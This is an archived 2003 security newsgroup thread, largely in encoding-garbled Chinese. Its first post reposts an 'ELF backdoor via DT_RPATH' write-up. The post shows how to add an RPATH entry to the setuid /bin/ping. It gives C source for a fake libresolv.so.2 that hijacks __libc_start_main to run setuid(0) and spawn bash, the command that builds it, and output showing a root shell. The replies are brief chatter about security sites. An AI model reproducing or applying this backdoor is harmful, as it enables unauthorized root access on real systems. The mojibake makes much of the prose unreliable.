Thread View: cn.comp.security
7 messages
7 total messages
Started by NewBlue
Tue, 14 Oct 2003 04:21
ELF后门之DT_RPATH篇
Author: NewBlue
Date: Tue, 14 Oct 2003 04:21
Date: Tue, 14 Oct 2003 04:21
105 lines
5849 bytes
5849 bytes
ELF����֮DT_RPATHƪ
by alert7
2003��9��13��
��� DT_RPATH��ʲô��
Dynamic Section����section�������½ṹ��һ�����顣
+ Figure 2-9: Dynamic Structure
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];
����Dynamic entry type�и���DT_RPATH����Ľ������£�
��Ԫ�ر�������NULL��β�������������Ŀ¼�ַ���ַ��ƫ������
��� DT_RPATH����ʲô
��̬������DT_RPATH������Ŀ¼�б���ַ���ð��(:)�ָ�����
���磬�ַ�/home/dir/lib:/home/dir2/lib:���߶�̬������������
/home/dir/lib��������/home/dir2/lib�����ǵ�ǰĿ¼��
LD_LIBRARY_PATH�����������õ�Ŀ¼��DT_RPATHָ���Ŀ¼֮��������
���ҳ��ڰ�ȫ���ǣ���̬����������set-user��set-group�ij����
LD_LIBRARY_PATH��ָ��������Ŀ¼�����������DT_RPATHָ����Ŀ¼��
/usr/lib���������DT_RPATH���DZȽϸ���Ȥ�ġ�
�������ϵĻ�֪ʶ�����ǿ�����һ��set-user�ij����ϰ�װһ��DT_RPATH��ڣ�һ�����û�У���
��������·������Ϊ��ǰĿ¼���������Լ���д�Ŀ��������ַŵ���ǰĿ¼�£���������������Լ��Ķ�̬�⡣
�������ǾͿ��Եõ�set-user��Ȩ���ˡ�
��� example
[alert7@redhat9 root]# ls -la /bin/ping
-rwsr-xr-x 1 root root 28628 Sep 12 05:41 /bin/ping
[alert7@redhat9 root]# ldd /bin/ping
libresolv.so.2 => /lib/libresolv.so.2 (0x40020000)
libc.so.6 => /lib/tls/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
һ����ping��������
[alert7@redhat9 root]# ./elfaddRPATH /bin/ping
elfaddRPATH.c by alert7 <alert7@xfocus.org> or <alert7@whitecell.org>
add one DT_RPATH's Elf32_Dyn entry in dynamic section.
Usage: elfaddRPATH elf_object <dynsym_name>
dynsym_name default _Jv_RegisterClasses ,or __gmon_start__
[++]ELF format ok!
[++]check Executable file...ok!
[++]_Jv_RegisterClasses dynsym found!!!
[++]modity _Jv_RegisterClasses dynsym to _Jv_RegisterClass\0: succeed!
[++]dynamic section: contains 26 entries; 21 real entries
[++]add one DT_RPATH's Elf32_Dyn in dynamic section succeed!
�����Լ���дһ����̬��
/*mylib.c write by alert7*/
#include <stdlib.h>
void __libc_start_main(void){
setuid(0);
seteuid(0);
execl("/bin/bash","bash",0,0);
exit(0);
}
EOF
�����
[alert7@redhat9 alert7]$ gcc -shared mylib.c -o libresolv.so.2
�ػ���__libc_start_main���϶���ȷ��ping ���������Ȩ֮ǰִ�С�������ػ�malloc֮��ľͲ���ȷ���ˣ���
��Ϊ�����õ���һЩlibc.so.6�еĺ�������������Ҫ�������Լ���LIB��libresolv.so.2�����ִ���ڵ�ǰĿ¼�¡�
�ģ�����ping����
[alert7@redhat9 alert7]$ ping
[alert7@redhat9 alert7]# id
uid=0(root) gid=500(alert7) groups=500(alert7)
OK���ɹ���~~~
ROOT����ping �����û������
[alert7@redhat9 root]# ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.470 ms
elfaddRPATH.c��SRC�Ͳ��ṩ�ˣ�Ҳ��Ҫ������Ҫ���Ͼ��������µĶ�����
�����ṩһ��˼·�����˸�ʰɣ���������Ҫ���Լ��ˡ�
�ο����ϣ�
http://elfhack.whitecell.org/mydocs/ELF_chinese.txt
---EOF-----
--
NewBlue
�Դ����뿪���Ժ���һֱ�ȴ��������
Re: ELF����֮DT_RPATHƪ
Author: Goodwu
Date: Tue, 14 Oct 2003 07:07
Date: Tue, 14 Oct 2003 07:07
1 lines
1378 bytes
1378 bytes
����
Re: ELF后门之DT_RPATH篇
Author: 风中纸页
Date: Tue, 14 Oct 2003 07:44
Date: Tue, 14 Oct 2003 07:44
5 lines
1627 bytes
1627 bytes
�����Ǹ���վ�治��HOHO������ -- ����ֽҳ *^O^* Now Under Gnus for win Thanks
Re: ELF后门之DT_RPATH篇
Author: NewBlue
Date: Tue, 14 Oct 2003 09:46
Date: Tue, 14 Oct 2003 09:46
10 lines
1701 bytes
1701 bytes
����ת����д��Щ��������ͦţ�ġ����˾þ��ڽ��������档
if ( user_name ==" Goodwu ")Print ("%s",messages);
> ����
--
NewBlue
�Դ����뿪���Ժ���һֱ�ȴ��������
Re: ELF后门之DT_RPATH篇
Author: NewBlue
Date: Tue, 14 Oct 2003 09:49
Date: Tue, 14 Oct 2003 09:49
14 lines
2074 bytes
2074 bytes
�����������DZߵļ�����ղ��?���������ת�Ź�������֪���Dz��Ǽ���
����
ת������������Ϊ�DZߵ��˲���ת�Ź������Զ����У�Ψ�п��ֶ����ˡ�
��ʵҪ����cn�������Ҳ����һ���������飬�������ˡ�
if ( user_name ==" ����ֽҳ ")Print ("%s",messages);
> �����Ǹ���վ�治��HOHO������
--
NewBlue
�Դ����뿪���Ժ���һֱ�ȴ��������
Re: ELF后门之DT_RPATH篇
Author: NewBlue
Date: Fri, 31 Oct 2003 11:57
Date: Fri, 31 Oct 2003 11:57
10 lines
1723 bytes
1723 bytes
���ǣ��Ǹ������ˡ���www.xfocus.net
**�۵����� Wrote:
> �������? www.nsfocus.com
--
NewBlue
�Դ����뿪���Ժ���һֱ�ȴ��������
Re: ELF����֮DT_RPATHƪ
Author: �۵�����
Date: Sat, 01 Nov 2003 04:20
Date: Sat, 01 Nov 2003 04:20
6 lines
1711 bytes
1711 bytes
�������? www.nsfocus.com �� Tue, 14 Oct 2003 17:46:57 +0800 ʱ, NewBlue <NewBlue@yaako.com> д��: -- > >����ת����д��Щ��������ͦţ�ġ����˾þ��ڽ��������档
Thread Navigation
This is a paginated view of messages in the thread with full content displayed inline.
Messages are displayed in chronological order, with the original post highlighted in green.
Use pagination controls to navigate through all messages in large threads.
Back to All Threads